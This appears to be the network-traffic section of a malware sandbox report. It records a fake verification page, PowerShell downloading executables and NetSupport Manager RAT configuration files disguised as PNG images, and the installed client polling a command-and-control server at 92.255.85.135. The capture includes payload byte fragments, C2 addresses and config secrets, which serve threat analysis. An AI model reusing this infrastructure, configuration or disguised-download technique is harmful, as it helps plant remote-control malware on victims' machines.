Oct 28, 2024 19:46:16.993619919 CET	885	IN	HTTP/1.1 200 OK Server: nginx/1.26.2 Date: Mon, 28 Oct 2024 18:46:16 GMT Content-Type: image/png Content-Length: 647 Last-Modified: Mon, 28 Oct 2024 05:50:02 GMT Connection: keep-alive ETag: "671f260a-287" Accept-Ranges: bytes Data Raw: 30 78 65 37 35 35 61 66 38 33 0d 0a 0d 0a 5b 43 6c 69 65 6e 74 5d 0d 0a 5f 70 72 65 73 65 6e 74 3d 31 0d 0a 41 6c 77 61 79 73 4f 6e 54 6f 70 3d 31 0d 0a 44 69 73 61 62 6c 65 43 68 61 74 3d 31 0d 0a 44 69 73 61 62 6c 65 43 6c 6f 73 65 41 70 70 73 3d 30 0d 0a 48 69 64 65 57 68 65 6e 49 64 6c 65 3d 31 0d 0a 50 72 6f 74 6f 63 6f 6c 73 3d 33 0d 0a 52 41 44 49 55 53 53 65 63 72 65 74 3d 64 67 41 41 41 50 70 4d 6b 49 37 6b 65 34 39 34 66 4b 45 51 52 55 6f 61 62 6c 63 41 0d 0a 52 6f 6f 6d 53 70 65 63 3d 45 76 61 6c 0d 0a 53 68 6f 77 55 49 4f 6e 43 6f 6e 6e 65 63 74 3d 30 0d 0a 73 69 6c 65 6e 74 3d 31 0d 0a 53 4b 4d 6f 64 65 3d 31 0d 0a 53 4f 53 5f 41 6c 74 3d 30 0d 0a 53 4f 53 5f 4c 53 68 69 66 74 3d 30 0d 0a 53 4f 53 5f 52 53 68 69 66 74 3d 30 0d 0a 53 79 73 54 72 61 79 3d 30 0d 0a 55 6e 6c 6f 61 64 4d 69 72 72 6f 72 4f 6e 44 69 73 63 6f 6e 6e 65 63 74 3d 30 0d 0a 55 73 65 72 6e 61 6d 65 73 3d 2a 0d 0a 0d 0a 5b 5f 49 6e 66 6f 5d 0d 0a 46 69 6c 65 6e 61 6d 65 3d 43 3a 5c 50 72 6f 67 72 61 6d 20 46 69 6c 65 [TRUNCATED] Data Ascii: 0xe755af83[Client]_present=1AlwaysOnTop=1DisableChat=1DisableCloseApps=0HideWhenIdle=1Protocols=3RADIUSSecret=dgAAAPpMkI7ke494fKEQRUoablcARoomSpec=EvalShowUIOnConnect=0silent=1SKMode=1SOS_Alt=0SOS_LShift=0SOS_RShift=0SysTray=0UnloadMirrorOnDisconnect=0Usernames=*[_Info]Filename=C:\Program Files (x86)\NetSupport\NetSupport Manager\client32u.ini[_License]quiet=1[Audio]DisableAudioFilter=1[General]BeepUsingSpeaker=0[HTTP]CMPI=60GatewayAddress=92.255.85.135:443gsk=GL:M@AEOHD<K?ACIGO:B=H@JBOGEgskmode=0GSK=GL:M@AEOHD<K?ACIGO:B=H@JBOGEGSKX=GL:M@AEOHD<K?ACIGO:B=H@JBOGE
Oct 28, 2024 19:46:17.054976940 CET	155	OUT	GET /o/2.png HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: traversecityspringbreak.com
Oct 28, 2024 19:46:17.218087912 CET	243	IN	HTTP/1.1 200 OK Server: nginx/1.26.2 Date: Mon, 28 Oct 2024 18:46:17 GMT Content-Type: image/png Content-Length: 328056 Last-Modified: Mon, 21 Oct 2024 07:35:57 GMT Connection: keep-alive ETag: "6716045d-50178" Accept-Ranges: bytes
Oct 28, 2024 19:46:17.218156099 CET	1236	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$ AAAA9AAgA1A0AAAARichAPELV
Oct 28, 2024 19:46:17.218616962 CET	1236	IN	Data Raw: 89 7d fc 8b 7d f8 0f b6 9f 60 05 1f 10 8b 7d 0c 88 19 0f b6 9f 60 05 1f 10 88 59 01 0f b6 80 60 05 1f 10 88 41 02 8b 45 fc 0f b6 80 60 05 1f 10 88 41 03 83 ee 03 83 c2 03 83 c1 04 85 f6 0f 8f 6a ff ff ff 8b 7d 10 5b 8b c7 5f c6 01 00 5e 8b e5 5d Data Ascii: }}`}`Y`AE`Aj}[_^]UQS]VuW3}uNd$Fu+vPE3=\|8L3u}8L3u}}SIJZ
Oct 28, 2024 19:46:17.218653917 CET	424	IN	Data Raw: 00 8b d8 81 e3 ff 00 00 00 03 b4 9f 00 0c 00 00 33 71 28 33 d6 8b f2 c1 ee 10 81 e6 ff 00 00 00 8b b4 b7 00 04 00 00 8b da c1 eb 18 03 34 9f 8b da c1 eb 08 81 e3 ff 00 00 00 33 b4 9f 00 08 00 00 8b da 81 e3 ff 00 00 00 03 b4 9f 00 0c 00 00 33 71 Data Ascii: 3q(3433q,3433q03433q434
Oct 28, 2024 19:46:17.219615936 CET	1236	IN	Data Raw: c2 08 00 cc cc cc cc cc cc cc cc cc cc cc cc cc 55 8b ec 51 53 89 4d fc 8b 45 08 56 8b 71 05 57 8b 79 01 8b 57 44 33 10 8b ca c1 e9 10 81 e1 ff 00 00 00 8b 84 8e 00 04 00 00 8b da c1 eb 18 03 04 9e 8b ca c1 e9 08 81 e1 ff 00 00 00 33 84 8e 00 08 Data Ascii: UQSMEVqWyWD33M3G@333O<333O83
Oct 28, 2024 19:46:17.219650984 CET	1236	IN	Data Raw: 8b 57 01 89 74 10 04 8b 98 08 91 1f 10 8b 77 01 8d 94 08 04 91 1f 10 89 1c 32 8b 98 0c 91 1f 10 8b 77 01 8b 55 f8 8d 94 10 04 91 1f 10 89 1c 32 8b 98 10 91 1f 10 8b 55 fc 8b 77 01 8d 94 10 04 91 1f 10 89 1c 32 8b 55 f4 8b 98 14 91 1f 10 8b 77 01 Data Ascii: Wtw2wU2Uw2Uw2H\|-LE3$HE@HW4LWtUwPL2TW4Mu=\|Mu3]EWD
Oct 28, 2024 19:46:17.219682932 CET	1236	IN	Data Raw: f4 b8 08 00 00 00 2b c2 50 6a 00 51 e8 47 fb 01 00 83 c4 0c 8d 4f 02 8d 47 fe 51 8b 4d fc 50 e8 f4 f1 ff ff 83 c6 08 83 c7 08 8b 45 08 83 c0 08 3b 45 0c 89 45 08 8b 45 0c 0f 82 09 ff ff ff 5f 5e 5b 8b e5 5d c2 0c 00 55 8b ec 53 56 8b 75 08 33 c0 Data Ascii: +PjQGOGQMPE;EEE_^[]USVu3W};EEtwH@E}tNQVJWNGOVNOVOVWVWVQPWMu_^[]UUE
Oct 28, 2024 19:46:17.220647097 CET	636	IN	Data Raw: f9 01 00 83 c4 08 2b 45 fc 75 15 ff 4d 10 74 20 0f be 1e 0f be 0f 46 47 85 db 75 ac 8b c3 2b c1 5f 5e 5b 8b e5 5d c3 5f 5e 8b c3 5b 8b e5 5d c3 5f 5e 33 c0 5b 8b e5 5d c3 cc cc cc cc cc cc cc cc cc cc cc 55 8b ec 83 3d 44 b7 1f 10 00 75 05 e8 0f Data Ascii: +EuMt FGu+_^[]_^[]_^3[]U=Du=@u]VW}?t)d$HtFR.F>u_^]U=Du=@u]7VW}?t)d$HtFR
Oct 28, 2024 19:46:17.877283096 CET	155	OUT	GET /o/3.png HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: traversecityspringbreak.com
Oct 28, 2024 19:46:18.039475918 CET	243	IN	HTTP/1.1 200 OK Server: nginx/1.26.2 Date: Mon, 28 Oct 2024 18:46:17 GMT Content-Type: image/png Content-Length: 773968 Last-Modified: Mon, 21 Oct 2024 07:35:58 GMT Connection: keep-alive ETag: "6716045e-bcf50" Accept-Ranges: bytes
Oct 28, 2024 19:46:19.085897923 CET	155	OUT	GET /o/4.png HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: traversecityspringbreak.com
Oct 28, 2024 19:46:19.251096010 CET	566	IN	HTTP/1.1 200 OK Server: nginx/1.26.2 Date: Mon, 28 Oct 2024 18:46:19 GMT Content-Type: image/png Content-Length: 328 Last-Modified: Mon, 21 Oct 2024 07:35:56 GMT Connection: keep-alive ETag: "6716045c-148" Accept-Ranges: bytes Data Raw: 3b 20 6e 73 6b 62 66 6c 74 72 2e 69 6e 66 0d 0a 3b 0d 0a 3b 20 4e 53 20 4b 65 79 62 6f 61 72 64 20 46 69 6c 74 65 72 0d 0a 3b 20 0d 0a 3b 0d 0a 3b 20 54 68 69 73 20 69 6e 66 20 66 69 6c 65 20 69 6e 73 74 61 6c 6c 73 20 74 68 65 20 57 44 46 20 46 72 61 6d 65 77 6f 72 6b 20 62 69 6e 61 72 69 65 73 0d 0a 0d 0a 5b 56 65 72 73 69 6f 6e 5d 0d 0a 53 69 67 6e 61 74 75 72 65 3d 22 24 57 69 6e 64 6f 77 73 20 4e 54 24 22 0d 0a 50 72 6f 76 69 64 65 72 3d 4e 53 4c 0d 0a 0d 0a 0d 0a 3b 0d 0a 3b 2d 2d 2d 20 6e 73 6b 62 66 6c 74 72 20 43 6f 69 6e 73 74 61 6c 6c 65 72 20 69 6e 73 74 61 6c 6c 61 74 69 6f 6e 20 2d 2d 2d 2d 2d 2d 0d 0a 3b 0d 0a 0d 0a 0d 0a 5b 6e 73 6b 62 66 6c 74 72 2e 4e 54 2e 57 64 66 5d 0d 0a 4b 6d 64 66 53 65 72 76 69 63 65 20 3d 20 6e 73 6b 62 66 6c 74 72 2c 20 6e 73 6b 62 66 6c 74 72 5f 77 64 66 73 65 63 74 0d 0a 0d 0a 5b 6e 73 6b 62 66 6c 74 72 5f 77 64 66 73 65 63 74 5d 0d 0a 4b 6d 64 66 4c 69 62 72 61 72 79 56 65 72 73 69 6f 6e 20 3d 20 31 2e 35 0d 0a 0d 0a 0d 0a Data Ascii: ; nskbfltr.inf;; NS Keyboard Filter; ;; This inf file installs the WDF Framework binaries[Version]Signature="$Windows NT$"Provider=NSL;;--- nskbfltr Coinstaller installation ------;[nskbfltr.NT.Wdf]KmdfService = nskbfltr, nskbfltr_wdfsect[nskbfltr_wdfsect]KmdfLibraryVersion = 1.5
Oct 28, 2024 19:46:19.280273914 CET	155	OUT	GET /o/5.png HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: traversecityspringbreak.com
Oct 28, 2024 19:46:19.442967892 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.26.2 Date: Mon, 28 Oct 2024 18:46:19 GMT Content-Type: image/png Content-Length: 6458 Last-Modified: Mon, 21 Oct 2024 07:35:56 GMT Connection: keep-alive ETag: "6716045c-193a" Accept-Ranges: bytes Data Raw: 0d 0a 5b 47 65 6e 65 72 61 6c 5d 0d 0a 43 6c 69 65 6e 74 50 61 72 61 6d 73 3d 0d 0a 43 4c 49 45 4e 54 33 32 3d 0d 0a 49 6e 73 74 61 6c 6c 64 69 72 3d 0d 0a 4e 4f 41 52 50 3d 0d 0a 53 75 70 70 72 65 73 73 41 75 64 69 6f 3d 0d 0a 0d 0a 0d 0a 5b 46 65 61 74 75 72 65 73 5d 0d 0a 43 6c 69 65 6e 74 3d 31 0d 0a 43 6f 6e 66 69 67 75 72 61 74 6f 72 3d 0d 0a 43 6f 6e 74 72 6f 6c 3d 0d 0a 47 61 74 65 77 61 79 3d 0d 0a 50 49 4e 53 65 72 76 65 72 3d 0d 0a 52 65 6d 6f 74 65 44 65 70 6c 6f 79 3d 0d 0a 53 63 72 69 70 74 69 6e 67 3d 0d 0a 53 74 75 64 65 6e 74 3d 0d 0a 54 65 63 68 43 6f 6e 73 6f 6c 65 3d 0d 0a 54 75 74 6f 72 3d 0d 0a 0d 0a 0d 0a 5b 53 74 61 72 74 4d 65 6e 75 49 63 6f 6e 73 5d 0d 0a 43 6c 69 65 6e 74 49 63 6f 6e 3d 0d 0a 43 6f 6e 66 69 67 49 63 6f 6e 3d 0d 0a 43 6f 6e 74 72 6f 6c 49 63 6f 6e 3d 0d 0a 52 65 6d 6f 74 65 44 65 70 6c 6f 79 49 63 6f 6e 3d 0d 0a 53 63 72 69 70 74 69 6e 67 49 63 6f 6e 3d 0d 0a 54 65 63 68 43 6f 6e 73 6f 6c 65 49 63 6f 6e 3d 0d 0a 54 75 74 6f 72 49 63 6f 6e 3d 0d 0a 0d 0a 0d [TRUNCATED] Data Ascii: [General]ClientParams=CLIENT32=Installdir=NOARP=SuppressAudio=[Features]Client=1Configurator=Control=Gateway=PINServer=RemoteDeploy=Scripting=Student=TechConsole=Tutor=[StartMenuIcons]ClientIcon=ConfigIcon=ControlIcon=RemoteDeployIcon=ScriptingIcon=TechConsoleIcon=TutorIcon=[DesktopIcons]ControlDeskIcon=TechConsoleDeskIcon=TutorDeskIcon=; This NSM.ini file can be used to customise the component selections when performing a silent installation of the product.; Client=<1/Blank>; e.g.; Client=1; Controls whether the client component is installed (1) on the target machine or not (Blank);; CLIENT32=<blank/not blank>; e.g.; CLIENT32=; Setting this to anything causes the Client Service (if installed) to be set to manual start rather than automatic;; ClientIcon=<1/Blank>; e.g.; ClientIcon=1; Controls whether shortcut icons are placed
Oct 28, 2024 19:46:19.484765053 CET	155	OUT	GET /o/6.png HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: traversecityspringbreak.com
Oct 28, 2024 19:46:19.647103071 CET	495	IN	HTTP/1.1 200 OK Server: nginx/1.26.2 Date: Mon, 28 Oct 2024 18:46:19 GMT Content-Type: image/png Content-Length: 257 Last-Modified: Mon, 21 Oct 2024 07:35:56 GMT Connection: keep-alive ETag: "6716045c-101" Accept-Ranges: bytes Data Raw: 31 32 30 30 0d 0a 30 78 33 62 63 62 33 34 38 65 0d 0a 0d 0a 3b 20 4e 65 74 53 75 70 70 6f 72 74 20 4c 69 63 65 6e 73 65 20 46 69 6c 65 2e 0d 0a 3b 20 47 65 6e 65 72 61 74 65 64 20 6f 6e 20 31 31 3a 35 34 20 2d 20 32 31 2f 30 33 2f 32 30 31 38 0d 0a 0d 0a 0d 0a 0d 0a 5b 5b 45 6e 66 6f 72 63 65 5d 5d 0d 0a 0d 0a 5b 5f 4c 69 63 65 6e 73 65 5d 0d 0a 63 6f 6e 74 72 6f 6c 5f 6f 6e 6c 79 3d 30 0d 0a 65 78 70 69 72 79 3d 0d 0a 69 6e 61 63 74 69 76 65 3d 30 0d 0a 6c 69 63 65 6e 73 65 65 3d 45 56 41 4c 55 53 49 4f 4e 0d 0a 6d 61 78 73 6c 61 76 65 73 3d 35 30 30 30 0d 0a 6f 73 32 3d 31 0d 0a 70 72 6f 64 75 63 74 3d 31 30 0d 0a 73 65 72 69 61 6c 5f 6e 6f 3d 4e 53 4d 31 36 35 33 34 38 0d 0a 73 68 72 69 6e 6b 5f 77 72 61 70 3d 30 0d 0a 74 72 61 6e 73 70 6f 72 74 3d 30 0d 0a Data Ascii: 12000x3bcb348e; NetSupport License File.; Generated on 11:54 - 21/03/2018[[Enforce]][_License]control_only=0expiry=inactive=0licensee=EVALUSIONmaxslaves=5000os2=1product=10serial_no=NSM165348shrink_wrap=0transport=0
Oct 28, 2024 19:46:19.676594019 CET	155	OUT	GET /o/7.png HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: traversecityspringbreak.com
Oct 28, 2024 19:46:19.838654995 CET	241	IN	HTTP/1.1 200 OK Server: nginx/1.26.2 Date: Mon, 28 Oct 2024 18:46:19 GMT Content-Type: image/png Content-Length: 33144 Last-Modified: Mon, 21 Oct 2024 07:35:56 GMT Connection: keep-alive ETag: "6716045c-8178" Accept-Ranges: bytes
Oct 28, 2024 19:46:19.907960892 CET	155	OUT	GET /o/8.png HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: traversecityspringbreak.com
Oct 28, 2024 19:46:20.094052076 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.26.2 Date: Mon, 28 Oct 2024 18:46:19 GMT Content-Type: image/png Content-Length: 18808 Last-Modified: Mon, 21 Oct 2024 07:35:56 GMT Connection: keep-alive ETag: "6716045c-4978" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 73 76 0a bb 37 17 64 e8 37 17 64 e8 37 17 64 e8 2c 8a f8 e8 35 17 64 e8 2c 8a ce e8 34 17 64 e8 3e 6f f7 e8 30 17 64 e8 37 17 65 e8 0f 17 64 e8 2c 8a ca e8 33 17 64 e8 2c 8a ff e8 36 17 64 e8 2c 8a fe e8 36 17 64 e8 2c 8a f9 e8 36 17 64 e8 52 69 63 68 37 17 64 e8 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 66 88 bb 55 00 00 00 00 00 00 00 00 e0 00 02 21 0b 01 0a 00 00 06 00 00 00 16 00 00 00 00 00 00 a0 10 00 00 00 10 00 00 00 20 00 00 00 00 00 10 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 60 00 00 00 04 00 00 b8 de 00 00 02 00 40 05 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$sv7d7d7d,5d,4d>o0d7ed,3d,6d,6d,6dRich7dPELfU! `@p"a P@ x)P@ @.text$ `.rdata @@.data0@.rsrc@@@.relocP@B
Oct 28, 2024 19:46:20.149188042 CET	155	OUT	GET /o/9.png HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: traversecityspringbreak.com
Oct 28, 2024 19:46:20.316950083 CET	245	IN	HTTP/1.1 200 OK Server: nginx/1.26.2 Date: Mon, 28 Oct 2024 18:46:20 GMT Content-Type: image/png Content-Length: 3735416 Last-Modified: Mon, 21 Oct 2024 07:36:03 GMT Connection: keep-alive ETag: "67160463-38ff78" Accept-Ranges: bytes
Oct 28, 2024 19:46:25.058712006 CET	156	OUT	GET /o/10.png HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: traversecityspringbreak.com
Oct 28, 2024 19:46:25.237970114 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.26.2 Date: Mon, 28 Oct 2024 18:46:25 GMT Content-Type: image/png Content-Length: 77280 Last-Modified: Mon, 21 Oct 2024 07:35:58 GMT Connection: keep-alive ETag: "6716045e-12de0" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 67 cb 8f 56 23 aa e1 05 23 aa e1 05 23 aa e1 05 4c dc 7f 05 32 aa e1 05 2a d2 72 05 26 aa e1 05 23 aa e0 05 74 aa e1 05 4c dc 4b 05 75 aa e1 05 4c dc 4a 05 3e aa e1 05 4c dc 7b 05 22 aa e1 05 4c dc 7c 05 22 aa e1 05 52 69 63 68 23 aa e1 05 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 54 17 6f 65 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 82 00 00 00 4a 00 00 00 00 00 00 b4 21 00 00 00 10 00 00 00 a0 00 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 20 01 00 00 04 00 00 51 1b 02 00 03 00 40 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$gV###L2*r&#tLKuLJ>L{"L\|"Rich#PELToeJ!@ Q@<8]@@.text `.rdata,%&@@.data-@.rsrc8@@.relocp@B
Oct 28, 2024 19:46:25.533421993 CET	156	OUT	GET /o/11.png HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: traversecityspringbreak.com
Oct 28, 2024 19:46:25.701092958 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.26.2 Date: Mon, 28 Oct 2024 18:46:25 GMT Content-Type: image/png Content-Length: 396664 Last-Modified: Mon, 21 Oct 2024 07:35:59 GMT Connection: keep-alive ETag: "6716045f-60d78" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 88 e0 14 d6 cc 81 7a 85 cc 81 7a 85 cc 81 7a 85 a3 f7 d1 85 c9 81 7a 85 d7 1c e4 85 d4 81 7a 85 c5 f9 e9 85 c7 81 7a 85 cc 81 7b 85 59 81 7a 85 d7 1c d0 85 4b 81 7a 85 d7 1c d1 85 f7 81 7a 85 d7 1c e1 85 cd 81 7a 85 d7 1c e0 85 cd 81 7a 85 d7 1c e7 85 cd 81 7a 85 52 69 63 68 cc 81 7a 85 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 59 3f 58 56 00 00 00 00 00 00 00 00 e0 00 02 21 0b 01 0a 00 00 c6 04 00 00 1a 01 00 00 00 00 00 f7 da 02 00 00 10 00 00 00 e0 04 00 00 00 15 10 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 90 06 00 00 04 00 00 27 cb 06 00 02 00 40 01 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$zzzzzz{YzKzzzzzRichzPELY?XV!'@oTx0@x)@\E`d@h.text `.rdata/@@.datah\|@.rsrc@0@@.reloc F@H@B
Oct 28, 2024 19:46:26.320980072 CET	156	OUT	GET /o/12.png HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: traversecityspringbreak.com
Oct 28, 2024 19:46:26.502312899 CET	243	IN	HTTP/1.1 200 OK Server: nginx/1.26.2 Date: Mon, 28 Oct 2024 18:46:26 GMT Content-Type: image/png Content-Length: 120288 Last-Modified: Mon, 21 Oct 2024 07:36:03 GMT Connection: keep-alive ETag: "67160463-1d5e0" Accept-Ranges: bytes

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.16	49729	92.255.85.135	443	7368	C:\Users\user\AppData\Roaming\bpsFyf\client32.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 19:46:35.210639000 CET	218	OUT	POST http://92.255.85.135/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 22Host: 92.255.85.135Connection: Keep-AliveCMD=POLLINFO=1ACK=1 Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.16	49730	172.67.68.212	80	7368	C:\Users\user\AppData\Roaming\bpsFyf\client32.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 19:46:35.340961933 CET	118	OUT	GET /location/loca.asp HTTP/1.1 Host: geo.netsupportsoftware.com Connection: Keep-Alive Cache-Control: no-cache
Oct 28, 2024 19:46:36.329104900 CET	788	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 18:46:36 GMT Content-Type: text/html; Charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive CF-Ray: 8d9d16ea1801e9a4-DFW CF-Cache-Status: DYNAMIC Access-Control-Allow-Origin: * Cache-Control: private Set-Cookie: ASPSESSIONIDQSACCQTB=LCDFNODDLKCMHEMABOOHJHDF; path=/ cf-apo-via: origin,host X-Frame-Options: SAMEORIGIN X-Powered-By: ASP.NET Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=cvIhPyf4Xj8xYqUnCu5UMzWUCamcLZoZO0SXIcZj1wbYqlnOMY6MRsHZ9%2FMMEz7vOtl4XQh5Yv9Vpxc5qHJ47CHc1AuQQfqjjH%2BrXG8HZwLuH2%2BduXd8mT%2B9TbiTtAaArKKhBilAQA%2BPQWl9"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare Data Raw: 66 0d 0a 33 32 2e 37 37 36 37 2c 2d 39 36 2e 37 39 37 0d 0a 30 0d 0a 0d 0a Data Ascii: f32.7767,-96.7970

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.16	49698	166.1.160.75	443	6832	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-28 18:45:15 UTC	679	OUT	GET /Ray-verify.html HTTP/1.1 Host: inspyrehomedesign.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-28 18:45:15 UTC	279	IN	HTTP/1.1 200 OK Server: nginx/1.26.2 Date: Mon, 28 Oct 2024 18:45:15 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 10478 Connection: close Last-Modified: Mon, 21 Oct 2024 07:55:44 GMT ETag: "28ee-624f7fad44000" Accept-Ranges: bytes Vary: Accept-Encoding
2024-10-28 18:45:15 UTC	10478	IN	Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 27 78 2d 75 61 2d 63 6f 6d 70 61 74 69 62 6c 65 27 20 63 6f 6e 74 65 6e 74 3d 27 45 6d 75 6c 61 74 65 49 45 39 27 3e 3c 4d 45 54 41 20 4e 41 4d 45 3d 27 47 45 4e 45 52 41 54 4f 52 27 20 43 6f 6e 74 65 6e 74 3d 27 54 68 65 20 73 6f 75 72 63 65 20 63 6f 64 65 20 6f 66 20 74 68 69 73 20 70 61 67 65 20 69 73 20 65 6e 63 72 79 70 74 65 64 20 77 69 74 68 20 48 54 4d 4c 20 47 75 61 72 64 69 61 6e 2c 20 20 74 68 65 20 77 6f 72 6c 64 27 73 20 73 74 61 6e 64 61 72 74 20 66 6f 72 20 77 65 62 73 69 74 65 20 70 72 6f 74 65 63 74 69 6f 6e 2e 20 56 69 73 69 74 20 68 74 74 70 3a 2f 2f 77 77 77 2e 70 72 6f 74 77 61 72 65 2e 63 6f 6d 20 66 6f 72 20 64 65 74 61 69 6c 73 27 3e 3c 6d 65 74 Data Ascii: <html><head><meta http-equiv='x-ua-compatible' content='EmulateIE9'><META NAME='GENERATOR' Content='The source code of this page is encrypted with HTML Guardian, the world's standart for website protection. Visit http://www.protware.com for details'><met

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.16	49699	166.1.160.75	443	6832	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
